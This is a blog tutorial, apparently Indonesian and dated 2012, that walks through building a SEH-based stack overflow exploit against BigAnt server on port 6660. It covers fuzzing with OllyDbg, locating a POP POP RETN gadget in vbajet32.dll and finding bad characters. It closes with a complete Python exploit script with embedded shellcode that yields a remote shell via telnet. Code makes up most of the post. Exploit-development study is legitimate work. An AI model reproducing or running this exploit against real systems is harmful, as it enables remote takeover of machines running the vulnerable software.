Jumat, 17 Februari 2012

SEH Based Stack Overflow "BigAnt server"


This time I will try to exploitation on BigAnt server applications
  • The first application we will use wireshark, to see BigAnt server application running on port number

bigantserver seen running on port 6660.
good starting point for pushing start
 Another advantage iyalah., we can perform remote
and application which is based SEH stack overflow.



still wondering if What is SEH (Structured Exception Handling)
can be viewed on the link below:
http://msdn.microsoft.com/en-us/library/ms680657%28v=vs.85%29.aspx 

  • Let's start by making fuzzing in the command "USV" owned by bigantserver
my fuzzer:
#!/usr/bin/pyton
import socket
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer = "USV "+"\x41" * 2500 + "\r\n\r\n"
sock.connect(("192.168.56.101", 6660))
sock.send(buffer)
sock.close()
print"you down.."

BigAnt first open the application server. The next open OllyDbg. click on the file menu and click on the menu attach OllyDbg. My next pick Antserver menu.
  • running your fuzzing.
  • see the results., ESI only the affected memory
  • This application crashes, but this time unlike the previous case,
    EIP register are not affected by the buffer that we send.
to look into the SEH, select the menu view -> SEH cain.
will display a table, as shown below

  • we then forward the data from the SEH chain into memory.
    press shift + F9
Now note that the EIP be "\ X41"
  •  further to see the data that resides in memory applications.
    Right click on the row stack -> follow in dump


  • the next stage. locate command POP, POP, RETN
    in OllyDbg we select view -> Executable Modules -> double click on the file vbajet.dll
  • after entering into windows CPU from vbajet 32.dll file
    right click -> Search For -> Sequence of Commands
it will display a search window will appear.
enter as the image and click find
  • OllyDbg will lead to a memory address in the file vbajet32
OllyDbg now have found the address in memory that is at offset 0F9A196A vbajet32
  • pattren_create next we create a string of 2500 bytes.
copy is to the application fuzzer we have made

  • I then put a string pattern in my application fuzzer

fuzzer pattern:
#!/usr/bin/pyton
import socket
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer = "USV "
buffer+="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8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ash. repeat as in the beginning., into the SEH chain and press shif + F9

  •  then find the total value obtained in the EIP
  •  then change back to your fuzzer



fuzzer:
#!/usr/bin/pyton
import socket
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer = "USV "
buffer+= "\90" * 962
buffer+= "\xCC\xCC\xCC\xCC"
buffer+= "\x41\x41\x41\x41"
buffer+= "\x90" * (2504 - len(buffer))
buffer+= "\r\n\r\n"
sock.connect(("192.168.56.101", 6660))
sock.send(buffer)
sock.close()
print"you down.."
  • after our fishing SEH. Next we enter the fuzzer that has a command POP, POP, RETN

I tried running the fuzzer which has been made​​.,
but always failed.
My next change., almost the same as in the book harmes haking





 
FUZZING:
#!/usr/bin/python
import socket
target_address="192.168.56.101"
target_port=6660
buffer = "USV "
buffer+= "\x90" * 962
buffer+= "\xCC\xCC\xCC\xCC"
buffer+= "\x6A\x19\x9A\x0F"
buffer+= "\x90" * (2504-len(buffer))
buffer+= "\r\n\r\n"
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()
print"you down.."
  • before running the fuzzing it is restarted again on BigAnt server applications and ollydebg. then make the address on the address of SEH brakpoit memory, plug the module into the poitbreak vbajet32 , then run the fuzzer
  • click shift +F9. to continue the process into the memory

  • Right click on the first memory -> follow in dump
    shown in the lower left corner "direct memory into the memory stack
  • then we make the shellcode using. / msfweb 















  • klick generate payload.

  • Olly debug and look at the chain safe., seen that seh storing the wrong value


and now try to delete the contents of the payload and restart OllyDbg and see the SEH cain
  • then we try to insert a payload-line per line
 
 I found a bad character on the line to 14



I've found the bad character
  / x20
and I enter in my gennerade








  • I tried re-generade
 


final fuzzer:
#!/usr/bin/python
import socket
target_address="192.168.56.101"
target_port=6660
buffer = "USV "
buffer+= "\x90" * 962
buffer+= "\xeb\x06\x90\x90"
buffer+= "\x6A\x19\x9A\x0F"
buffer+= "\x90" * 16
buffer+= ("\xba\xe9\x35\x3d\x58\x29\xc9\xb1\x51\xdb\xcf\xd9\x74\x24\xf4\x5f" "\x31\x57\x0e\x03\x57\x0e\x83\x2e\x31\xdf\xad\x4c\x50\xf4\x03\x44" "\x5c\xf5\x63\x6b\xff\x81\xf0\xb7\x24\x1d\x4d\x8b\xaf\x5d\x4b\x8b" "\xae\x72\xd8\x24\xa9\x07\x80\x9a\xc8\xfc\x76\x51\xfe\x89\x88\x8b" "\xce\x4d\x13\xff\xb5\x8e\x50\xf8\x74\xc4\x94\x07\xb5\x32\x52\x3c" "\x6d\xe1\xb3\x37\x68\x62\x9c\x93\x73\x9e\x45\x50\x7f\x2b\x01\x39" "\x9c\xaa\xfe\xc6\xb0\x27\x89\xa4\xec\x2b\xeb\xf7\xdc\x88\x8f\x7c" "\x5d\x1f\xdb\xc2\x6e\xd4\xab\xde\xc3\x61\x0b\xd6\x45\x1e\x02\xa8" "\x77\x32\x4a\xcb\x5e\xac\x38\x55\x37\x02\x8d\xf1\xb0\x17\xc3\x5e" "\x6b\x27\xf3\x08\x58\x3a\x08\xf3\x0e\x3a\x27\x5c\x26\x21\xae\xe3" "\xd5\xa2\x2d\xb6\x4f\xb1\xce\xe8\xf8\x6c\x39\xfd\x54\xd9\xc5\x2b" "\xf5\xb5\x6a\x80\xa9\x7a\xde\x65\x1d\x82\x30\x0f\xc9\x6d\xed\xa9" "\x5a\x07\xec\xa0\x35\xb3\xf5\xba\x02\xec\xf6\xec\xe7\x03\x58\x45" "\x07\xf3\x32\xc1\x5a\xda\x2b\x5e\x5a\xf5\xff\x35\x5b\x2a\x97\x50" "\xea\x4d\x21\xcd\x12\x87\xe2\xa5\xb8\x7d\xfc\x95\xd2\x16\xe5\x6c" "\x13\x9f\xbe\x71\x4d\x35\xbe\x5d\x14\xdc\x24\x3b\xb1\x43\xc8\x4a" "\xa4\xee\x42\x15\x0e\x23\xeb\x42\x3a\xff\x65\x6e\x8a\x3f\x86\xc4" "\x13\xfd\x44\xe6\xae\x2e\x04\x9b\x55\x17\x81\x08\x02\x0f\xa7\xb0" "\xe6\xc6\xb8\x39\x4d\x18\x90\x9a\x1a\xb4\x4c\x4d\xf4\x52\x6e\x3c" "\xa7\xf7\x21\x41\x97\x90\x6c\x64\x1d\xaf\x3c\x69\xc8\x45\x3c\x6a" "\xc2\x66\x12\x1f\x7a\x65\x10\xdb\xe1\x6a\xc1\xb1\x16\x44\x86\x4b" "\x31\x87\x24\xe0\x3e\x9e\x34\xd6")
buffer+= "\x90" * (2504-len(buffer))
buffer+= "\r\n\r\n"
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()
print"you down.."

  • BigAnt OllyDbg and restart the server. and put a breakpoint on the address of SEH. note the value of the SEH cain, "according to the expected address" is the vbajet 32.
then do a telnet
and now the windows are fully owned by you
referens: Harmless Hacking

Tidak ada komentar:

Posting Komentar